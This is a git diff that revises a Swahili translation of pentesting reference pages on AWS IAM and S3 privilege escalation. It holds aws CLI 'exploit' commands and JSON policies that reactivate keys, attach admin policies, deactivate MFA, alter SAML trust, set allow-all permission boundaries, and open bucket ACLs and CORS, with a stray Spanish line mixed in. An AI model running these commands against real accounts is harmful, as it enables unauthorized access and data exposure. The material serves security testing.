+Inaruhusu kuwezesha disabled access key, ambayo inaweza kusababisha unauthorized access ikiwa attacker anamiliki disabled key.
**Exploit:**
```bash
aws iam update-access-key --access-key-id --status Active --user-name
```
-**Athari:** Kuongezeka moja kwa moja kwa viwango vya ruhusa kwa kuanzisha tena access keys.
+**Athari:** Kuinua ruhusa kwa njia ya moja kwa moja kwa kuanzisha upya funguo za ufikiaji.
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
-Inaruhusu kuunda au kuweka upya credentials kwa huduma maalum za AWS (mfano, CodeCommit, Amazon Keyspaces), zikipata ruhusa za mtumiaji aliyehusishwa.
+Inaruhusu kuzalisha au kuweka upya kredenshali kwa huduma maalum za AWS (kwa mfano, CodeCommit, Amazon Keyspaces), ambazo zinarithi ruhusa za mtumiaji aliyehusishwa.
**Exploit for Creation:**
```bash
@@ -79,25 +79,25 @@ aws iam create-service-specific-credential --user-name --service-name
```bash
aws iam reset-service-specific-credential --service-specific-credential-id
```
-**Madhara:** Direct privilege escalation ndani ya ruhusa za huduma za mtumiaji.
+**Athari:** Direct privilege escalation ndani ya service permissions za user.
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
-Inaruhusu kuambatisha policies kwa watumiaji au vikundi, na hivyo kuongeza privileges moja kwa moja kwa kurithi ruhusa za policy iliyounganishwa.
+Inaruhusu kuambatisha policies kwa users au groups, directly escalating privileges kwa kurithi permissions za policy iliyoungwa.
-**Exploit kwa mtumiaji:**
+**Exploit kwa User:**
```bash
aws iam attach-user-policy --user-name --policy-arn ""
```
-**Exploit kwa Kundi:**
+**Exploit kwa Kikundi:**
```bash
aws iam attach-group-policy --group-name --policy-arn ""
```
-**Athari:** Direct privilege escalation kwa chochote sera inayoipa.
+**Athari:** Kuongezeka kwa ruhusa kwa moja kwa moja hadi chochote sera inachoruhusu.
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
-Inaruhusu kuambatisha au kuweka sera kwa roles, users, au groups, ikiruhusu direct privilege escalation kwa kuzipatia ruhusa za ziada.
+Inaruhusu kuambatisha au kuweka sera kwa roles, watumiaji, au vikundi, ikiruhusu kuongezeka kwa ruhusa kwa moja kwa moja kwa kutoa ruhusa za ziada.
**Exploit for Role:**
```bash
@@ -127,21 +127,21 @@ Unaweza kutumia sera kama:
]
}
```
-**Impact:** Kuongezeka kwa moja kwa moja kwa ruhusa kwa kuongeza ruhusa kupitia sera.
+**Athari:** Kuongezeka kwa ruhusa kwa moja kwa moja kwa kuongeza idhini kupitia sera.
### **`iam:AddUserToGroup`**
-Inaruhusu kujiongeza mwenyewe kwenye kundi la IAM, kupanua ruhusa kwa kurithi ruhusa za kundi.
+Inaruhusu mtu kujiongezea katika kundi la IAM, na kuongeza ruhusa kwa kurithi ruhusa za kundi.
**Exploit:**
```bash
aws iam add-user-to-group --group-name --user-name
```
-**Impact:** Kuongezeka kwa mamlaka moja kwa moja hadi ngazi ya permissions za kundi.
+**Athari:** Kupandishwa kwa ruhusa moja kwa moja hadi kiwango cha ruhusa za kikundi.
### **`iam:UpdateAssumeRolePolicy`**
-Inaruhusu kubadilisha assume role policy document ya role, ikiruhusu assume ya role na permissions zake zinazohusiana.
+Inaruhusu kubadilisha assume role policy document ya role, ikiwezesha assumption ya role na ruhusa zake zinazohusiana.
**Exploit:**
```bash
@@ -163,11 +163,11 @@ Ambapo sera inavyoonekana kama ifuatayo, ambayo inampa mtumiaji ruhusa ya kuchuk
]
}
```
-**Athari:** Moja kwa moja privilege escalation kwa kuchukua ruhusa za role yoyote.
+**Athari:** Moja kwa moja privilege escalation kwa kudai ruhusa za role yoyote.
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
-Inaruhusu kupakia SSH public key kwa ajili ya kuthibitisha kwa CodeCommit na ku-deactivate vifaa vya MFA, jambo ambalo linaweza kusababisha isiyo ya moja kwa moja privilege escalation.
+Inaruhusu kupakia SSH public key kwa ajili ya ku-authenticate kwenye CodeCommit na ku-deactivate vifaa vya MFA, jambo ambalo linaweza kusababisha indirect privilege escalation.
**Exploit for SSH Key Upload:**
```bash
@@ -177,24 +177,24 @@ aws iam upload-ssh-public-key --user-name --ssh-public-key-body --serial-number
```
-**Impact:** Kupandishwa kwa ruhusa kwa njia isiyo ya moja kwa moja kwa kuruhusu upatikanaji wa CodeCommit au kuzima ulinzi wa MFA.
+**Athari:** Kuongezeka kwa vibali kwa njia isiyo ya moja kwa moja kwa kuwezesha upatikanaji wa CodeCommit au kuzima ulinzi wa MFA.
### **`iam:ResyncMFADevice`**
-Huruhusu kusawazisha tena kifaa cha MFA, jambo ambalo linaweza kusababisha kupandishwa kwa ruhusa kwa njia isiyo ya moja kwa moja kwa kuingilia ulinzi wa MFA.
+Inaruhusu kusawazisha upya kifaa cha MFA, jambo ambalo linaweza kusababisha kuongezeka kwa vibali kwa njia isiyo ya moja kwa moja kwa kudhibiti ulinzi wa MFA.
**Bash Command:**
```bash
aws iam resync-mfa-device --user-name --serial-number \
--authentication-code1 --authentication-code2
```
-**Impact:** Kuongezeka kwa mamlaka kwa njia isiyo ya moja kwa moja kwa kuongeza au kudanganya vifaa vya MFA.
+**Athari:** Kuongezeka kwa mamlaka kwa njia isiyo ya moja kwa moja kwa kuongeza au kurekebisha vifaa vya MFA.
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
-Kwa ruhusa hizi unaweza **kubadilisha XML metadata ya muunganisho wa SAML**. Kisha, unaweza kutumia vibaya **SAML federation** ku **login** na **role yoyote inayomwamini**.
+Kwa ruhusa hizi unaweza **change the XML metadata of the SAML connection**. Kisha, unaweza kutumia vibaya the **SAML federation** ili **login** na **role that is trusting** it.
-Kumbuka kwamba kufanya hivi **watumiaji halali hawawezi kuingia**. Hata hivyo, unaweza kupata XML, hivyo unaweza kuweka yako, login na kurejesha mipangilio ya awali.
+Kumbuka kwamba kufanya hivyo **legit users won't be able to login**. Hata hivyo, unaweza kupata XML, hivyo unaweza kuweka yako, ku-login na kurejesha usanidi wa awali
```bash
# List SAMLs
aws iam list-saml-providers
@@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar
aws iam update-saml-provider --saml-metadata-document --saml-provider-arn
```
> [!NOTE]
-> TODO: Zana inayoweza kuzalisha SAML metadata na kuingia kwa role iliyobainishwa
+> TODO: Zana inayoweza kuunda metadata ya SAML na kuingia kwa role iliyobainishwa
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
-(Sina uhakika kuhusu hili) Iwapo mshambuliaji ana **permissions** hizi, anaweza kuongeza **Thumbprint** mpya ili kuingia kwenye roles zote zinazomwamini provider.
+(Siwezi kuwa na uhakika kuhusu hili) Ikiwa mshambuliaji ana hizi **permissions** angeweza kuongeza **Thumbprint** mpya ili kuweza kuingia katika role zote zinazomwamini provider.
```bash
# List providers
aws iam list-open-id-connect-providers
@@ -226,9 +226,36 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
```
### `iam:PutUserPermissionsBoundary`
-Ruhusa hii inamruhusu attacker kusasisha permissions boundary ya mtumiaji, na hivyo inaweza kuongeza privileges zao kwa kumruhusu kufanya vitendo ambavyo kawaida vimezuiwa na ruhusa zao zilizopo.
+Ruhusa hii inamruhusu mshambuliaji kubadilisha permissions boundary ya mtumiaji, na hivyo inawezekana kuongeza mamlaka yao kwa kumruhusu kufanya vitendo ambavyo kwa kawaida vimezuiwa na ruhusa zao za sasa.
+```bash
+aws iam put-user-permissions-boundary \
+--user-name \
+--permissions-boundary arn:aws:iam:::policy/
-## References
+Un ejemplo de una política que no aplica ninguna restricción es:
+
+
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "BoundaryAllowAll",
+"Effect": "Allow",
+"Action": "*",
+"Resource": "*"
+}
+]
+}
+```
+### `iam:PutRolePermissionsBoundary`
+
+Mtendaji mwenye iam:PutRolePermissionsBoundary anaweza kuweka permissions boundary kwenye role iliyopo. Hatari inapotokea wakati mtu mwenye ruhusa hii anabadilisha permissions boundary ya role: anaweza kuzuia shughuli kwa njia isiyofaa (kusababisha kukatika kwa huduma), au, ikiwa ataambatanisha permissive boundary, kwa ufanisi kupanua kile role inaweza kufanya na kuongeza ruhusa.
+```bash
+aws iam put-role-permissions-boundary \
+--role-name \
+--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
+```
+## Marejeo
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
index fa893f638..c7c243e75 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
@@ -6,9 +6,9 @@
### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
-Mshambulizi mwenye permissions hizo juu ya buckets zinazovutia anaweza kuwa na uwezo wa hijack resources na escalate privileges.
+Attacker mwenye permissions hizo juu ya interesting buckets anaweza kuwa na uwezo wa hijack resources na escalate privileges.
-Kwa mfano, mshambulizi mwenye permissions hizo juu ya cloudformation bucket iitwayo "cf-templates-nohnwfax6a6i-us-east-1" ataweza hijack the deployment. Ufikiaji unaweza kutolewa kwa policy ifuatayo:
+Kwa mfano, attacker mwenye permissions hizo juu ya cloudformation bucket inayoitwa "cf-templates-nohnwfax6a6i-us-east-1" ataweza hijack deployment. Ufikiaji unaweza kutolewa kwa policy ifuatayo:
```json
{
"Version": "2012-10-17",
@@ -34,30 +34,29 @@ Kwa mfano, mshambulizi mwenye permissions hizo juu ya cloudformation bucket iitw
]
}
```
-Na utekaji unaweza kutokea kwa sababu kuna **dirisha ndogo la muda tangu templeti inapopakuliwa** kwenye bucket hadi wakati **template inapoanzishwa**. Mshambuliaji anaweza tu kuunda **lambda function** kwenye akaunti yake ambayo itachochea **wakati taarifa ya bucket itakapotumwa**, na **kuiba** **yaliyomo** ya **bucket** hiyo.
+Na hijack inawezekana kwa sababu kuna **dirisha dogo la muda tangu template inapopakuliwa** kwenye bucket hadi wakati **template inapotumika/deployed**. Mshambuliaji anaweza kuunda tu **lambda function** katika akaunti yake itakayochochewa anapofikishwa notification ya bucket, na kisha **hijack** yaliyomo ya hiyo **bucket**.
.png>)
-Moduli ya Pacu [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) inaweza kutumika kuendesha shambulio hili kiotomatiki.\
-Kwa maelezo zaidi angalia utafiti wa awali: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
+The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) can be used to automate this attack.\
+Kwa habari zaidi angalia utafiti asilia: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
### `s3:PutObject`, `s3:GetObject`
-Hizi ni ruhusa za **kupakua na kupakia vitu kwenye S3**. Huduma kadhaa ndani ya AWS (na nje yake) hutumia kuhifadhi S3 kwa ajili ya kuhifadhi **config files**.\
-Mshambuliaji mwenye **read access** kwa faili hizo anaweza kupata **taarifa nyeti** ndani yao.\
-Mshambuliaji mwenye **write access** anaweza **kubadilisha data ili kutumia vibaya huduma fulani na kujaribu kupanda ngazi za ruhusa**.\
+Hizi ni ruhusa za **kupata na kupakia objects kwenye S3**. Huduma kadhaa ndani ya AWS (na nje yake) zinatumia S3 kuhifadhi **config files**.\
+Mshambuliaji mwenye **read access** kwao anaweza kupata **taarifa nyeti**.\
+Mshambuliaji mwenye **write access** kwao anaweza **kubadilisha data ili kuabusa huduma fulani na kujaribu kupandisha ruhusa**.\
Hapa kuna baadhi ya mifano:
-- Ikiwa instance ya EC2 inahifadhi **user data katika S3 bucket**, mshambuliaji anaweza kuibadilisha ili **execute arbitrary code ndani ya instance ya EC2**.
+- Ikiwa EC2 instance inahifadhi **user data in a S3 bucket**, mshambuliaji anaweza kuibadilisha ili **execute arbitrary code inside the EC2 instance**.
### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file
-Ni kawaida kuona kuwa faili za state za [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) zinahifadhiwa kwenye blob storage ya watoaji wa cloud, mfano AWS S3. Kiambishi cha jina la faili ya state ni `.tfstate`, na majina ya bucket mara nyingi yanaonyesha kuwa zina faili za terraform state. Kawaida, kila akaunti ya AWS ina bucket moja ya aina hii kuhifadhi faili za state zinazoonyesha hali ya akaunti.
-Pia mara nyingi, kwenye akaunti za dunia halisi, karibu kila muendeleaji ana `s3:*` na wakati mwingine hata watumiaji wa biashara wana `s3:Put*`.
+Ni kawaida sana kwamba [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state files zinahifadhiwa kwenye blob storage za cloud providers, mfano AWS S3. Kiambishi cha faili cha state file ni `.tfstate`, na majina ya bucket mara nyingi yanaonyesha kwamba zinabeba terraform state files. Kwa kawaida, kila akaunti ya AWS ina bucket kama hiyo kuhifadhi state files zinazonyesha hali ya akaunti. Pia kwa kawaida, katika akaunti za ulimwengu halisi mara nyingi watengenezaji wote wana `s3:*` na wakati mwingine hata watumiaji wa biashara wana `s3:Put*`.
-Hivyo, ikiwa una ruhusa zilizoonyeshwa juu ya faili hizi, kuna njia ya kushambulia inayokuwezesha kupata RCE kwenye pipeline kwa ruhusa za `terraform` - mara nyingi `AdministratorAccess`, na kukufanya kuwa msimamizi wa akaunti ya cloud. Pia, unaweza kutumia njia hiyo kufanya shambulio la denial of service kwa kumfanya `terraform` kufuta rasilimali halali.
+Kwa hivyo, ikiwa una ruhusa zilizotajwa juu ya faili hizi, kuna vector ya mashambulizi inayokuwezesha kupata RCE katika pipeline kwa haki za `terraform` - mara nyingi `AdministratorAccess`, ikikufanya kuwa admin wa akaunti ya cloud. Pia, unaweza kutumia vector hiyo kufanya mashambulizi ya denial of service kwa kufanya `terraform` kufuta rasilimali halali.
-Fuata maelezo katika sehemu ya *Abusing Terraform State Files* ya ukurasa wa *Terraform Security* kwa kificho kinachoweza kutumika moja kwa moja:
+Fuata maelezo katika sehemu *Abusing Terraform State Files* ya ukurasa *Terraform Security* kwa code ya exploit inayoweza kutumika moja kwa moja:
{{#ref}}
../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files
@@ -65,7 +64,7 @@ Fuata maelezo katika sehemu ya *Abusing Terraform State Files* ya ukurasa wa *Te
### `s3:PutBucketPolicy`
-Mshambuliaji, anayeweza kuwa **ndani ya akaunti hiyo hiyo**, vinginevyo kosa `The specified method is not allowed will trigger`, akiwa na ruhusa hii atajipa uwezo zaidi kwa bucket(s) ikimuwezesha kusoma, kuandika, kubadilisha, kufuta na kufichua buckets.
+Mshambuliaji, anayehitajika kuwa **from the same account**, vinginevyo hitilafu `The specified method is not allowed will trigger`, akiwa na ruhusa hii ataweza kujipa ruhusa zaidi juu ya bucket(s) zinazomruhusu kusoma, kuandika, kubadilisha, kufuta na kufichua buckets.
```bash
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket
@@ -123,8 +122,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket
@@ -151,7 +150,7 @@ aws s3api put-bucket-acl --bucket --access-control-policy file://a
```
### `s3:GetObjectAcl`, `s3:PutObjectAcl`
-Mshambuliaji anaweza kutumia vibaya ruhusa hizi kumpa upatikanaji zaidi kwa objects maalum ndani ya buckets.
+An attacker anaweza kutumia vibaya ruhusa hizi kumpa ufikiaji zaidi kwa objects maalum ndani ya buckets.
```bash
# Update bucket object ACL
aws s3api get-object-acl --bucket --key flag
@@ -178,9 +177,29 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli
```
### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
-Mshambulizi ambaye ana vibali hivi anatarajiwa kuwa na uwezo wa kuweka Acl kwa object version maalum.
+Mshambuliaji mwenye vibali hivi anatarajiwa kuwa na uwezo wa kuweka Acl kwa toleo fulani la object
```bash
aws s3api get-object-acl --bucket --key flag
aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json
```
+### `s3:PutBucketCORS`
+
+Attacker mwenye ruhusa ya `s3:PutBucketCORS` anaweza kubadilisha usanidi wa CORS (Cross-Origin Resource Sharing) wa bucket, ambao unadhibiti ni domain gani za wavuti zinaweza kufikia endpoints yake. Ikiwa watapanga permissive policy, tovuti yoyote inaweza kutuma direct requests kwa bucket na kusoma responses kutoka kwa browser.
+
+Hii ina maana kwamba, kwa mfano, ikiwa authenticated user wa web app iliyohost kwenye bucket atatembelea website ya attacker, attacker anaweza exploit permissive CORS policy na, kulingana na application, kupata user's profile data au hata hijack user's account.
+```bash
+aws s3api put-bucket-cors \
+--bucket \
+--cors-configuration '{
+"CORSRules": [
+{
+"AllowedOrigins": ["*"],
+"AllowedMethods": ["GET", "PUT", "POST"],
+"AllowedHeaders": ["*"],
+"ExposeHeaders": ["x-amz-request-id"],
+"MaxAgeSeconds": 3000
+}
+]
+}'
+```
{{#include ../../../../banners/hacktricks-training.md}}